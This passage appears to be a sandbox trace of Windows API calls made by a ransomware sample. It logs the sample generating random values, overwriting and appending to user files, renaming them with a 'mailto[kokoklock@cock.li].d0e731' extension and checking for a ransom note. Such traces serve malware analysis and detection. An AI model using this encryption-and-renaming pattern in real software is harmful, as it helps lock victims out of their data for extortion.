TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731" [0170.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0abc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0170.952] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f151d20, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xcb4a380, ftLastAccessTime.dwHighDateTime=0x1d4c854, ftLastWriteTime.dwLowDateTime=0x8281f75c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8764, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TS7OO3~1.D0E")) returned 0 [0170.952] FindClose (in: hFindFile=0x30453a8 | out: hFindFile=0x30453a8) returned 1 [0170.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022bf0) returned 1 [0170.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa48a0) returned 1 [0170.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f889f8) returned 1 [0170.953] RtlExitUserThread (Status=0x0) Thread: id = 1846 os_tid = 0xfa4 [0169.417] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\xvhh3h nmxl7bxcbvc.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.417] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\xvhh3h nmxl7bxcbvc.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.417] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1096fcf0 | out: lpFileSize=0x1096fcf0*=101809) returned 1 [0169.417] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x18dad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.417] ReadFile (in: hFile=0x370, lpBuffer=0x1096fcc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1096fcc0, lpOverlapped=0x0 | out: lpBuffer=0x1096fcc4*, lpNumberOfBytesRead=0x1096fcc0*=0x4, lpOverlapped=0x0) returned 1 [0169.418] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f880c0 [0169.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88480 [0169.419] NtQuerySystemTime (in: CurrentTime=0x1096fc9c | out: CurrentTime=0x1096fc9c*=132121213267407825) returned 0x0 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xd968e006 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x1f102693 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x3120c90 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x9a9c6d99 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x8bef383f [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xb13fd132 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xaad8bcde [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x9fee1668 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xe1dba207 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xf2938532 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x4542bb2b [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xfc38b78c [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x6d212fb3 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xf8abcc69 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x92196aaa [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xc18bcba8 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xf539a5b2 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x4451c8f4 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xd559887b [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xd2d2e385 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x45129ccd [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xa2864289 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x3e901e7b [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x2ed47ef4 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x326ee402 [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x9cd468fd [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x65de926d [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xe61711cc [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x1029cddd [0169.419] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0xb7940a0 [0169.420] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x890baa0a [0169.420] RtlRandom (in: Seed=0x1096fca8 | out: Seed=0x1096fca8) returned 0x97f2aa5c [0169.429] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88188 [0169.430] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0169.430] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.431] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0169.431] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f880c0) returned 1 [0169.431] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3045b00 [0169.431] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.431] ReadFile (in: hFile=0x370, lpBuffer=0x3045b00, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1096fc74, lpOverlapped=0x0 | out: lpBuffer=0x3045b00*, lpNumberOfBytesRead=0x1096fc74*=0x4096, lpOverlapped=0x0) returned 1 [0169.431] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.431] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0169.431] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96eb8 [0169.431] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88278 [0169.431] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88278) returned 1 [0169.431] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3049ba0 [0169.432] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88570 [0169.432] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88390 [0169.432] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88390) returned 1 [0169.432] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96eb8) returned 1 [0169.432] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0169.432] WriteFile (in: hFile=0x370, lpBuffer=0x3049ba0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1096fc74, lpOverlapped=0x0 | out: lpBuffer=0x3049ba0*, lpNumberOfBytesWritten=0x1096fc74*=0x4096, lpOverlapped=0x0) returned 1 [0169.432] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3049ba0) returned 1 [0169.432] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x18db1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.432] WriteFile (in: hFile=0x370, lpBuffer=0x2f88570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1096fcac, lpOverlapped=0x0 | out: lpBuffer=0x2f88570*, lpNumberOfBytesWritten=0x1096fcac*=0x20, lpOverlapped=0x0) returned 1 [0169.433] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88570) returned 1 [0169.433] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045b00) returned 1 [0169.433] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1096fcc0, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x1096fcc0*=0x8, lpOverlapped=0x0) returned 1 [0169.444] WriteFile (in: hFile=0x370, lpBuffer=0x1096fcd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1096fcc0, lpOverlapped=0x0 | out: lpBuffer=0x1096fcd8*, lpNumberOfBytesWritten=0x1096fcc0*=0x4, lpOverlapped=0x0) returned 1 [0169.444] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1096fcc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1096fcc0*=0x4, lpOverlapped=0x0) returned 1 [0169.444] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1096fcc0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1096fcc0*=0x6c, lpOverlapped=0x0) returned 1 [0169.445] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1096fcc0, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x1096fcc0*=0x20, lpOverlapped=0x0) returned 1 [0169.445] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1096fcc0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1096fcc0*=0x4, lpOverlapped=0x0) returned 1 [0169.445] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.445] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88188) returned 1 [0169.445] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.445] CloseHandle (hObject=0x370) returned 1 [0169.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2f987a8 [0169.445] wcscpy (in: _Dest=0x2f987a8, _Source="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731" [0169.445] wcscat (in: _Dest=0x2f987a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.445] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\xvhh3h nmxl7bxcbvc.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\xvhh3h nmxl7bxcbvc.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.446] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.446] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f987a8) returned 1 [0169.446] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa44e0 [0169.446] wcscpy (in: _Dest=0x2fa44e0, _Source="C:\\Users\\FD1HVy\\Videos\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0169.446] wcscat (in: _Dest=0x2fa44e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" [0169.446] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\d0e731-readme.txt")) returned 0x20 [0169.447] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa44e0) returned 1 [0169.447] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed9b8) returned 1 [0169.447] RtlExitUserThread (Status=0x1) Thread: id = 1847 os_tid = 0xfa8 [0169.448] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms.mailto[kokoklock@cock.li].d0e731")) returned 0x23 [0169.458] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.459] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x109efb44 | out: lpFileSize=0x109efb44*=440) returned 1 [0169.459] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.459] ReadFile (in: hFile=0x370, lpBuffer=0x109efb18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x109efb14, lpOverlapped=0x0 | out: lpBuffer=0x109efb18*, lpNumberOfBytesRead=0x109efb14*=0x4, lpOverlapped=0x0) returned 1 [0169.460] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.460] CloseHandle (hObject=0x370) returned 1 [0169.460] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x23) returned 1 [0169.460] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feeb70) returned 1 [0169.460] RtlExitUserThread (Status=0x0) Thread: id = 1848 os_tid = 0xfac [0169.462] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms.mailto[kokoklock@cock.li].d0e731")) returned 0x23 [0169.462] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.462] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10a6f918 | out: lpFileSize=0x10a6f918*=440) returned 1 [0169.462] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.462] ReadFile (in: hFile=0x370, lpBuffer=0x10a6f8ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10a6f8e8, lpOverlapped=0x0 | out: lpBuffer=0x10a6f8ec*, lpNumberOfBytesRead=0x10a6f8e8*=0x4, lpOverlapped=0x0) returned 1 [0169.463] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.464] CloseHandle (hObject=0x370) returned 1 [0169.464] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x23) returned 1 [0169.464] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83fd8) returned 1 [0169.464] RtlExitUserThread (Status=0x0) Thread: id = 1849 os_tid = 0xee4 [0169.465] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.466] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\searches\\winrt--{s-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.467] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10aefe84 | out: lpFileSize=0x10aefe84*=1047) returned 1 [0169.467] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x413, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.467] ReadFile (in: hFile=0x370, lpBuffer=0x10aefe58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10aefe54, lpOverlapped=0x0 | out: lpBuffer=0x10aefe58*, lpNumberOfBytesRead=0x10aefe54*=0x4, lpOverlapped=0x0) returned 1 [0169.468] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.468] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883e0 [0169.468] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.468] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88408 [0169.468] NtQuerySystemTime (in: CurrentTime=0x10aefe30 | out: CurrentTime=0x10aefe30*=132121213267876914) returned 0x0 [0169.468] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xdb60da56 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x99d233c [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x7639daaf [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x5b515709 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x2742d540 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x9f91d422 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x6c2df5c9 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xbd35d089 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xee9a46ab [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xa91c42ae [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x2eb788e8 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x8eef2bc0 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xa1d6cd4 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x4670300 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x4d0acd3d [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xcee7e116 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xfeab2ee2 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xe6e151b4 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x9e98bdd5 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x4f4e7843 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xf36cc9ca [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x5322ccb3 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x57ea2cfa [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x90a5139e [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xe7ddcd2d [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xa506981e [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x72721f77 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x9c80ad69 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0xa3feb0d7 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x245d51d1 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x9ada02a1 [0169.469] RtlRandom (in: Seed=0x10aefe3c | out: Seed=0x10aefe3c) returned 0x52c85d3b [0169.478] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88098 [0169.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96eb8 [0169.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.480] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96eb8) returned 1 [0169.480] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883e0) returned 1 [0169.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f876f8 [0169.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0169.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.480] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.484] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x417, lpNumberOfBytesRead=0x10aefe30, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10aefe30*=0x417, lpOverlapped=0x0) returned 1 [0169.484] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x10aefdf8 | out: lpNewFilePointer=0x0) returned 1 [0169.484] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x417, lpNumberOfBytesWritten=0x10aefe2c, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10aefe2c*=0x417, lpOverlapped=0x0) returned 1 [0169.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88390 [0169.484] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88390) returned 1 [0169.484] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10aefe28, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x10aefe28*=0x20, lpOverlapped=0x0) returned 1 [0169.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0169.485] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876f8) returned 1 [0169.485] WriteFile (in: 